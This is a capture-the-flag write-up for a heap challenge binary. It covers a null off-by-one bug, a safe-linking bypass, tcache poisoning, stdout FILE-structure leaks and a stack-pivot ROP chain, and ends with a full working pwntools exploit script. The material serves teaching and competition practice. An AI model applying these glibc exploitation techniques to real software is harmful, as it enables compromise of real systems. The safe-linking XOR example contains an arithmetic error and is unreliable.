TL;DR
Null off-by-one bug in heap management → LSB pointer corruption → leak heap (safe linking) → tcache poisoning to unsorted bin → leak libc → tcache poisoning to stdout → leak stack → tcache poisoning to stack → ROP chain with stack pivot → open/read/write flag with seccomp bypass 🌟
Challenge Files: chall (ELF binary), libc.so.6, chall.c
Note: This is one of my early CTF writeups! If you spot improvements, feel free to share! 🙂
Challenge Overview
“Solaris” is a solar system management program that lets you create solar systems and add planets to them. It’s got some cool ASCII art and a menu-driven interface for managing your cosmic empire! 🌌
Menu options:
1. create solar system <- Create a new system
2. create planet <- Add a planet to a system
3. delete planet <- Free a planet
4. edit planet <- Edit planet name
5. show planet <- Display planet name
6. leave solaris <- Exit
Binary Protections
$ checksec chall
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
Stripped: No
All protections enabled! 😱
- ✅ Full RELRO - GOT is read-only
- ✅ Stack Canary - Stack overflow detection
- ✅ NX enabled - No shellcode on stack
- ✅ PIE enabled - Addresses randomized
This is gonna be challenging. We’ll need heap exploitation!
Safe Linking - What Is It?
Safe linking is a heap protection introduced in glibc 2.32+ that obfuscates pointers in tcache and fastbins to make exploitation harder.
The problem it solves: Before safe linking, tcache bins stored pointers in plaintext:
tcache[0x40]: chunk1 → chunk2 → chunk3 → NULL
An attacker could easily:
- Leak a heap pointer from a freed chunk
- Overwrite it to point anywhere (tcache poisoning)
- Get
malloc()to return arbitrary addresses
How safe linking works: Instead of storing plaintext pointers, glibc now “mangles” them with this formula:
mangled_ptr = (heap_address >> 12) ^ real_ptr
Where:
heap_address >> 12= Upper bits of the heap base (acts as a key)real_ptr= The actual pointer to the next chunk^= XOR operation
Example:
Heap base: 0x0000555555554000
Real pointer: 0x0000555555554320
Key: 0x0000555555554000 >> 12 = 0x0000555555554
Mangled = 0x0000555555554 ^ 0x0000555555554320
= 0x0000555555554274 ← This is what's stored in the chunk!
Seccomp Analysis
The binary also has seccomp enabled, restricting syscalls:
$ seccomp-tools dump ./chall
line CODE JT JF K
=================================
0005: 0x15 0x0d 0x00 0x00000000 if (A == read) goto 0019
0006: 0x15 0x0c 0x00 0x00000001 if (A == write) goto 0019
0007: 0x15 0x0b 0x00 0x00000002 if (A == open) goto 0019
0008: 0x15 0x0a 0x00 0x0000000f if (A == rt_sigreturn) goto 0019
0009: 0x15 0x09 0x00 0x0000003c if (A == exit) goto 0019
0010: 0x15 0x00 0x09 0x00000021 if (A != dup2) goto 0020
0011-0018: [dup2 argument checks: only allows dup2(1, 2)]
0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0020: 0x06 0x00 0x00 0x00000000 return KILL
Allowed syscalls:
read,write,open- We can read the flag!rt_sigreturn,exitdup2(1, 2)- Only this specific call
No execve - Can’t get a shell, but we can open/read/write the flag file.
Source Code Analysis
Data Structures
#define MAX_SYSTEMS 4
#define MAX_PLANETS 8
struct system {
char name[0x10]; // 16 bytes
char* planets[MAX_PLANETS]; // Array of 8 planet pointers
};
struct system* systems[MAX_SYSTEMS]; // Array of system pointers
int max_systems = 0;
The Vulnerability: Null Off-by-One
In the add_planet() function, there’s a special “feature” (bug):
void add_planet(int i, size_t size) {
int j;
if (i < 0 || i > max_systems) // Note: allows i == max_systems!
return;
if (i == max_systems && systems[i] == NULL && i < MAX_SYSTEMS) {
// "Feature": creates both system AND planet at the same time!
systems[i] = calloc(1, sizeof(struct system));
systems[i]->planets[0] = malloc(size);
printf("Enter the planet name\n>> ");
fgets(systems[i]->planets[0], size - 1, stdin);
printf("Enter the solar system name\n>> ");
int size = read(0, systems[i]->name, 0x10); // Reads 16 bytes
systems[i]->name[size] = 0x0; // 🚨 NULL OFF-BY-ONE!
max_systems++;
}
// ...
}
The bug: After reading up to 16 bytes into name, it writes a null byte at name[size]. If we send exactly 16 bytes, size = 16, and we write a null byte at offset 16 - right after the name array!
Memory Layout
The struct system looks like this in memory:
Offset Content
0x00 name[0x10] (16 bytes)
0x10 planets[0] (8 bytes) ← NULL BYTE WRITTEN HERE!
0x18 planets[1] (8 bytes)
0x20 planets[2] (8 bytes)
...
If we fill name with 16 bytes, the null byte overwrites the least significant byte (LSB) of planets[0]!
Exploitation Strategy
Phase 1: Leak Heap Address
Goal: Corrupt a planet pointer to point to a previous chunk, leak its address.
Steps:
- Create system 0 with 2 planets
- Create system 1 with 1 planet
- Use null off-by-one to corrupt system 1’s
planets[0]LSB - The pointer now points to system 0’s planet 0
- Delete system 0’s planet 0 → it goes into tcache
- Show system 1’s planet 0 → leaks the tcache fd pointer (with safe linking)
Code:
create_system(io, b'system1')
create_planet(io, 0, 0x30, b'A' * 0x20) # planet 0
create_planet(io, 0, 0x20, b'B' * 0x20) # planet 1
create_planet(io, 1, 0x20, b'C' * 0x8) # system 1, planet 0
io.sendafter(b'>>', b'a' * 0x10) # Trigger null off-by-one!
delete_planet(io, 0, 0)
show_planet(io, 1, 0) # Shows corrupted pointer → leak!
Memory before:
0x56527d5a6260 [system struct]
0x56527d5a6270 name: "aaaaaaaaaaaaaaaa"
0x56527d5a6280 planets[0]: 0x000056527d5a62d0 ← Points to planet
Memory after null off-by-one:
0x56527d5a6260 [system struct]
0x56527d5a6270 name: "aaaaaaaaaaaaaaaa"
0x56527d5a6280 planets[0]: 0x000056527d5a6200 ← LSB corrupted!
↑
Now points backward to previous chunk!
Safe linking decode:
leak = io.recv(5)
leak = u64(leak.ljust(8, b'\x00'))
heap = (leak << 12) - 0x3000 # Undo safe linking obfuscation
log.info(f"Heap: {hex(heap)}")
Wait, what’s happening here? 🤔
The leaked value is a mangled pointer (safe linking). Let’s break down the decode:
- We leaked:
0x55554(5 bytes, truncated mangled pointer) - The real formula:
mangled = (heap >> 12) ^ real_ptr - Since both heap and real_ptr are close to each other on heap:
- Lower 12 bits cancel out in the XOR
- What remains is essentially
heap >> 12
- To get heap base:
(leaked << 12)gives us approximately the heap base - The
-0x3000adjustment: Fine-tuning based on our specific heap layout
This works because in tcache, fd points to another chunk nearby, so the XOR result roughly equals the “key” (heap » 12)!
Phase 2: Leak Libc Address
Goal: Poison tcache to point to unsorted bin, leak libc pointer.
Strategy:
- Repeat null off-by-one to corrupt another planet pointer
- Free two 0x30 chunks into tcache
- Allocate large chunks (0x500) to consolidate heap
- Use corrupted pointer to edit tcache’s
fdto point to unsorted bin chunk - Allocate from tcache → next allocation comes from unsorted bin area
- Unsorted bin has libc pointers → leak!
Code:
# Setup same null off-by-one scenario
create_planet(io, 0, 0x30, b'E' * 0x20) # planet 0
create_planet(io, 0, 0x30, b'F' * 0x20) # planet 2
create_planet(io, 2, 0x30, b'G' * 0x20) # system 2, planet 0
io.sendafter(b'>>', b'b' * 0x10) # Null off-by-one!
# Free chunks into tcache
delete_planet(io, 0, 0)
delete_planet(io, 0, 2)
# Create large chunks to get unsorted bin
create_planet(io, 1, 0x500, b'H' * 0x20)
create_planet(io, 1, 0x500, b'I' * 0x20)
# Poison tcache to point to unsorted bin chunk
tcache = heap + 0x3300
unsorted = heap + 0x33e0
fake_tcache = safe_link(unsorted, tcache)
edit_planet(io, 2, 0, p64(fake_tcache)) # Write to tcache fd!
# Allocate twice - second allocation overlaps with unsorted bin
create_planet(io, 0, 0x30, b'J' * 0x8)
create_planet(io, 0, 0x30, b'K' * 0x8) # This one!
# Delete a large chunk → writes libc pointer over our planet
delete_planet(io, 1, 1)
show_planet(io, 0, 2) # Leak libc!
What happens:
- Tcache bin for 0x40 looks like:
chunk1 → chunk2 → NULL - We edit
chunk1->fdto point tounsorted_bin_chunk - Tcache bin now:
chunk1 → → unsorted_chunk - First alloc: gets
chunk1 - Second alloc: gets
unsorted_chunk - When we delete a 0x500 chunk, it goes to unsorted bin
- Unsorted bin writes libc pointers → we can read them!
Phase 3: Leak Stack Address
Goal: Use libc leak to attack stdout, leak environ pointer.
Technique: _IO_FILE exploitation to leak arbitrary memory.
Code:
# Poison tcache to point to stdout
tcache = heap + 0x3300
stdout = libc.address + 0x1ad760 # _IO_2_1_stdout_
fake_tcache = safe_link(stdout, tcache)
edit_planet(io, 2, 0, p64(fake_tcache))
# Allocate once to get past the intermediate chunk
create_planet(io, 0, 0x30, b'M' * 0x8)
# Forge fake FILE structure to leak environ
environ_addr = libc.address + 0x1b4320 # __environ pointer
fake = p64(0xfbad2887) # _flags
fake += p64(environ_addr) # _IO_read_ptr
fake += p64(environ_addr) # _IO_read_end
fake += p64(environ_addr) # _IO_read_base
fake += p64(environ_addr) # _IO_write_base
fake += p64(environ_addr + 8) # _IO_write_ptr (trigger output)
fake += p64(environ_addr + 8) # _IO_write_end
fake += p64(environ_addr) # _IO_buf_base
fake += p64(environ_addr + 8) # _IO_buf_end
create_planet(io, 1, 0x30, fake) # Overwrite stdout!
# stdout will now leak environ when we print
leak = io.recv(6)
stack = u64(leak.ljust(8, b'\x00')) - 0x1F358
log.info(f"Stack: {hex(stack)}")
How FILE exploitation works:
stdoutis aFILEstructure in libc- When we print, it uses fields like
_IO_write_baseand_IO_write_ptr - By setting these to point around
environ, we leak stack addresses!
Phase 4: Overwrite Return Address
Goal: Poison tcache to point to stack, overwrite return address with stack pivot.
Setup:
# Poison tcache to point to stack (near return address)
tcache = heap + 0x3300
fake_tcache = safe_link(stack + 0x1F230, tcache)
edit_planet(io, 2, 0, p64(fake_tcache))
# Allocate "./flag.txt" string on heap (we'll need it)
create_planet(io, 0, 0x30, b'./flag.txt\x00')
# Build ROP chain on heap
POP_RDI = libc.address + 0x0000000000001765
POP_RSI = libc.address + 0x0000000000002f19
POP_RDX = libc.address + 0x00000000000d795d
POP_RAX = libc.address + 0x0000000000018f77
POP_RSP = libc.address + 0x00000000000013ea # Stack pivot gadget!
syscall = libc.address + 0x000000000005fe62
rop_addr = heap + 0x33e0
flag = heap + 0x3300
# ROP chain: open("./flag.txt", 0, 0)
rop = p64(POP_RDI) + p64(flag)
rop += p64(POP_RSI) + p64(0)
rop += p64(POP_RDX) + p64(0)
rop += p64(POP_RAX) + p64(2) # sys_open
rop += p64(syscall)
# ROP chain: read(3, heap_buffer, 0x28)
rop += p64(POP_RAX) + p64(0) # sys_read
rop += p64(POP_RDI) + p64(3) # fd = 3 (opened file)
rop += p64(POP_RSI) + p64(heap + 0x3b70) # buffer
rop += p64(POP_RDX) + p64(0x28) # size
rop += p64(syscall)
# ROP chain: write(1, heap_buffer, same_size)
rop += p64(POP_RAX) + p64(1) # sys_write
rop += p64(POP_RDI) + p64(1) # fd = 1 (stdout)
rop += p64(POP_RSI) + p64(heap + 0x3b70)
rop += p64(syscall)
# ROP chain: exit(0)
rop += p64(POP_RAX) + p64(60) # sys_exit
rop += p64(syscall)
# Place ROP chain on heap
create_planet(io, 1, 0x200, rop)
# Overwrite return address with stack pivot
payload = cyclic(0x8) # Padding
payload += p64(POP_RSP) # Return here
payload += p64(rop_addr) # New RSP → points to our ROP chain!
create_planet(io, 1, 0x30, payload)
# Exit program → triggers return
io.sendlineafter(b'>', b'6')
io.interactive() # Flag printed!
Stack pivot explanation:
- We overwrite the return address with
pop rsp; ret - On the stack after return address, we place the address of our ROP chain
- When
main()returns:pop rsploads our ROP chain address into RSPretpops the first gadget from our ROP chain
- Execution continues in our ROP chain on the heap!
Attack Flow Summary
1. Null off-by-one #1 → Corrupt planet pointer (LSB)
↓
2. Use corrupted pointer to leak heap via tcache
↓
3. Null off-by-one #2 → Corrupt another planet pointer
↓
4. Tcache poisoning #1 → Point tcache to unsorted bin
↓
5. Allocate overlapping chunk → leak libc from unsorted bin
↓
6. Tcache poisoning #2 → Point tcache to stdout
↓
7. Overwrite stdout FILE structure → leak stack via environ
↓
8. Tcache poisoning #3 → Point tcache to stack
↓
9. Overwrite return address with stack pivot gadget
↓
10. Place ROP chain on heap: open → read → write flag
↓
11. Exit program → stack pivot → ROP executes → flag! 🎉
Complete Exploit
#!/usr/bin/env python3
from pwn import *
exe = ELF("chall")
libc = ELF("libc.so.6")
context.binary = exe
def conn():
if args.REMOTE:
return remote("challenges.404ctf.fr", PORT)
else:
return process([exe.path])
def create_system(io, name):
io.sendlineafter(b'>', b'1')
io.sendlineafter(b'>>', name)
def create_planet(io, index, size, planet_name):
io.sendlineafter(b'>', b'2')
io.sendlineafter(b'>>', str(index).encode())
io.sendlineafter(b'>>', str(size).encode())
io.sendlineafter(b'>>', planet_name)
def delete_planet(io, system_index, planet_index):
io.sendlineafter(b'>', b'3')
io.sendlineafter(b'>>', str(system_index).encode())
io.sendlineafter(b'>>', str(planet_index).encode())
def edit_planet(io, system_index, planet_index, new_name):
io.sendlineafter(b'>', b'4')
io.sendlineafter(b'>>', str(system_index).encode())
io.sendlineafter(b'>>', str(planet_index).encode())
io.sendlineafter(b'>>', new_name)
def show_planet(io, system_index, planet_index):
io.sendlineafter(b'>', b'5')
io.sendlineafter(b'>>', str(system_index).encode())
io.sendlineafter(b'>>', str(planet_index).encode())
def safe_link(target, curr):
return (curr >> 12) ^ target
def main():
io = conn()
# Phase 1: Leak heap
create_system(io, b'system1')
create_planet(io, 0, 0x30, b'A' * 0x20)
create_planet(io, 0, 0x20, b'B' * 0x20)
create_planet(io, 1, 0x20, b'C' * 0x8)
io.sendafter(b'>>', b'a' * 0x10)
delete_planet(io, 0, 0)
show_planet(io, 1, 0)
io.recv(6)
leak = io.recv(5)
heap = (u64(leak.ljust(8, b'\x00')) << 12) - 0x3000
log.info(f"Heap: {hex(heap)}")
# Phase 2: Leak libc
create_planet(io, 0, 0x30, b'E' * 0x20)
create_planet(io, 0, 0x30, b'F' * 0x20)
create_planet(io, 2, 0x30, b'G' * 0x20)
io.sendafter(b'>>', b'b' * 0x10)
delete_planet(io, 0, 0)
delete_planet(io, 0, 2)
create_planet(io, 1, 0x500, b'H' * 0x20)
create_planet(io, 1, 0x500, b'I' * 0x20)
tcache = heap + 0x3300
unsorted = heap + 0x33e0
edit_planet(io, 2, 0, p64(safe_link(unsorted, tcache)))
create_planet(io, 0, 0x30, b'J' * 0x8)
create_planet(io, 0, 0x30, b'K' * 0x8)
delete_planet(io, 1, 1)
show_planet(io, 0, 2)
io.recv(6)
libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 0x1accc0
log.info(f"Libc: {hex(libc.address)}")
# Phase 3: Leak stack via stdout
create_planet(io, 0, 0x30, b'L' * 0x20)
delete_planet(io, 0, 3)
delete_planet(io, 0, 0)
stdout = libc.address + 0x1ad760
edit_planet(io, 2, 0, p64(safe_link(stdout, tcache)))
create_planet(io, 0, 0x30, b'M' * 0x8)
environ_addr = libc.address + 0x1b4320
fake = p64(0xfbad2887)
fake += p64(environ_addr) * 4
fake += p64(environ_addr + 8) * 2
fake += p64(environ_addr)
fake += p64(environ_addr + 8)
create_planet(io, 1, 0x30, fake)
io.recv(6)
stack = u64(io.recv(6).ljust(8, b'\x00')) - 0x1F358
log.info(f"Stack: {hex(stack)}")
# Phase 4: Stack pivot + ROP
create_planet(io, 0, 0x30, b'N' * 0x20)
delete_planet(io, 0, 3)
delete_planet(io, 0, 0)
edit_planet(io, 2, 0, p64(safe_link(stack + 0x1F230, tcache)))
create_planet(io, 0, 0x30, b'./flag.txt\x00')
# Build ROP chain
POP_RDI = libc.address + 0x1765
POP_RSI = libc.address + 0x2f19
POP_RDX = libc.address + 0xd795d
POP_RAX = libc.address + 0x18f77
POP_RSP = libc.address + 0x13ea
syscall = libc.address + 0x5fe62
rop_addr = heap + 0x33e0
flag_str = heap + 0x3300
rop = p64(POP_RDI) + p64(flag_str)
rop += p64(POP_RSI) + p64(0)
rop += p64(POP_RDX) + p64(0)
rop += p64(POP_RAX) + p64(2) + p64(syscall)
rop += p64(POP_RAX) + p64(0)
rop += p64(POP_RDI) + p64(3)
rop += p64(POP_RSI) + p64(heap + 0x3b70)
rop += p64(POP_RDX) + p64(0x28) + p64(syscall)
rop += p64(POP_RAX) + p64(1)
rop += p64(POP_RDI) + p64(1)
rop += p64(POP_RSI) + p64(heap + 0x3b70) + p64(syscall)
rop += p64(POP_RAX) + p64(60) + p64(syscall)
create_planet(io, 1, 0x200, rop)
create_planet(io, 1, 0x30, cyclic(0x8) + p64(POP_RSP) + p64(rop_addr))
io.sendlineafter(b'>', b'6')
io.interactive()
if __name__ == "__main__":
main()
Lessons Learned
Exploitation techniques:
-
Null off-by-one exploitation - A single null byte overflow can corrupt pointer LSBs, especially powerful on heap where chunks are often aligned.
-
Safe linking bypass - Modern glibc obfuscates tcache pointers with
(heap_base >> 12) ^ pointer. The bypass is simple but essential:- First, leak ANY heap address
- Calculate heap base from the leak
- Use the heap base as XOR key to encode your fake pointers
- Without the heap leak, safe linking is unbreakable!
- The formula is:
mangled = (heap_addr >> 12) ^ target_addr
-
FILE structure exploitation -
stdoutis just a structure in libc. By corrupting it, we can leak arbitrary memory when the program prints. -
Seccomp constraints - No
execve, but we can still read files withopen/read/writesyscalls. Adapt exploit to constraints!
Flag: 404CTF{f3el_th3_l1ght_sh1ne_0n_my_f4ce}
